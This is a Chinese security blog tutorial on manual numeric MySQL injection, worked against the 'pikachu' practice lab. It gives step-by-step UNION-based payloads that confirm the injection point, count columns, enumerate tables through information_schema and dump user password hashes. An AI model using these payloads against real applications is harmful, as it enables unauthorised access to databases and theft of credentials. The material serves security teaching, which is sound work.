Mysql数字型手工注入

admin 2021年12月7日05:27:45评论140 views字数 1343阅读4分28秒阅读模式
    本文纯粹整理以前的旧笔记整理出来的文章,将简单粗暴的记录Mysql常用各类型注入漏洞的利用和验证方法

01


数字型注入_注入点确定

一个常见的查询功能页面测试

Mysql数字型手工注入

查看PHP源码的核心代码👇

解释:

  1. 红色箭头的id就是post请求包里面取参参数

  2. 黄色部分就是传入数据库的查询语句

Mysql数字型手工注入

明显传入参数完全没有做过滤

当加入一个特殊字符进行查询的时候,Mysql查询语句会变成这样

select username,email from member where id=1'

导致数据库的报错

Mysql数字型手工注入

输入第一个测试payload

1 and 1=1

输入payload后,最终传入数据库的查询语句如下

select username,email from member where id=1 and 1=1
因为语句是成立的,所以能够正常返回查询信息

Mysql数字型手工注入

输入第二个测试payload

1 and 1=2
传入数据库查询语句
select username,email from member where id=1 and 1=2
因为我使用and连接查询,所以只要and前后有一处不成立都无法查询到信息
明显1不等于2,语句不成立,所有没有办法查询出数据

Mysql数字型手工注入

到这一步可以确定在参数1后面执行的sql语句可以成功执行,注入点确定。


02


漏洞利用_获取基本信息

利用order by判断当前字段数

当order by为2正常返回,order by为3时错误,确定字当前段数为2

1 order by 2

Mysql数字型手工注入

1 order by 3

Mysql数字型手工注入

技巧:

可以采用二分法快速判断当前字段数,如

  1. 直接猜测当前字段数为10

  2. 当服务器返回正常查询信息证明当前字段数>=10,可以继续加5用15来猜测当前字段数

  3. 相反,当服务器返回其他时,证明当前字段数<10,可以减去5用5来猜测当前字段数

查看是否存在回显位置

1 union select 1,2


Mysql数字型手工注入

利用漏洞查看当前数据库和版本

1 union select database(),version()


Mysql数字型手工注入


    MYSQL数据库版本5.0以上有一个information_scheam表存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等。


03


漏洞利用_获取数据库内容

利用联合查询查看当前数据库的所有数据表

1 union select group_concat(table_name),2 from information_schema.tables where (table_schema='pikachu')


Mysql数字型手工注入

解释:使用group_concat函数让数据显示在一列。

明显表users是核心数据,查看users表的所有表头

1 union select group_concat(column_name),2 from information_schema.columns where (table_name='users')


Mysql数字型手工注入

继续查看users表里username和password的内容

1 union select group_concat(username),group_concat(password) from users


Mysql数字型手工注入

成功爆出管理员密文密码,平台解密

Mysql数字型手工注入

!声明:本文章纯属于个人学习笔记,仅提供学习交流,切勿用于违法犯罪。



本文始发于微信公众号(Khan安全攻防实验室):Mysql数字型手工注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月7日05:27:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql数字型手工注入https://cn-sec.com/archives/535458.html

发表评论

匿名网友 填写信息